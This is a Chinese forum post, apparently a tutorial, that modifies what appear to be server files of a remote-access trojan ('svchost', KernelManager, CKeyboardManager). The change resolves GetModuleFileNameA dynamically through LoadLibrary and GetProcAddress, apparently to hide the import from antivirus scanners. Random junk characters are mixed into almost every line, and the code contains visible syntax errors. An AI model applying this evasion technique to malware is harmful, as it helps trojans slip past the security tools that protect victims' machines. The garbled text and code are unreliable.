[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记: h) Q/ Q& i/ Y6 R3 j  P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：6 U. P6 z8 O# I( a

2 ^, d/ {6 ?2 ?" L2 }* F) ?#if _MSC_VER>1000& i) R7 z" I0 j+ D3 }
#pragma once
8 {9 X; I1 X" f#endif //_MSC_VER>1000( [1 l$ H( t8 x* N  u
#include<windows.h>& [  w1 N0 g3 @4 c
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* V# Q! Y: U: n$ k
class DTDY4 j$ W3 D" K- v4 N% G2 `5 ]
{
  n5 g9 D4 a' W& H: K5 fpublic:
- z) b3 E. q. j% x+ }$ F3 l! TDTDY();
: U+ L- P' @$ Fvirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
; b4 Y( D/ q$ F* x- I  h5 Kstatic BOOL FunInitiallization();1 t- u5 s% M2 g# O/ A  \
};! Y$ i& l5 M" C+ q) Q6 Z, e# A+ |
#endif% ?" [, A8 @# l8 v
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DTDY.cpp:' e  u7 c$ }, S0 U0 m+ j7 }3 D
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#include "DTDY.h"# J! ]% Q0 Y" P
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
' s- A9 g! w& D! j$ |DTDY:TDY()+ A( v: j0 V7 n5 V8 H6 Y
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}
* `$ K& a6 f7 k* @/ H, O6 {DTDY::~DTDY()
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* E- a% t# Q9 \  C5 m  Z}
5 `- |/ P8 G1 k/ D& w! o5 |BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
: `; X% o& r7 W0 p. w; ^MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");7 l2 I: s7 y" e& G2 c" a$ s
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;6 `- B* }( X7 Q8 x: A
}
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svchost.cpp:
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#include "DTDY.h"( O/ m2 v8 g3 y- F+ b
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)" Z! i: |+ a' r2 w5 O
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
9 \0 J% H4 \( Oif(!DTDY::FunInitiallization()) return FALSE;. c" \9 i4 y6 h) T/ Y4 R' Z
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break;, e: o. N: B' ~" h1 F
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def3 \6 p2 S4 f1 a7 c* e
改写为' E4 B" G) ]' o$ Z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));8 c* L3 Z5 K, o" U) s
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KernelManager.cpp:
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: u- H3 N% q: A! S  \' I' ]#include "../DTDY.h"
0 m! M8 h9 C: p) ?) j  d! `GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
3 T( v8 u) H- s改写为7 W- X; x! ^* ~: \& x1 S: r
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( y$ e5 T# h" z0 F% e( A8 S
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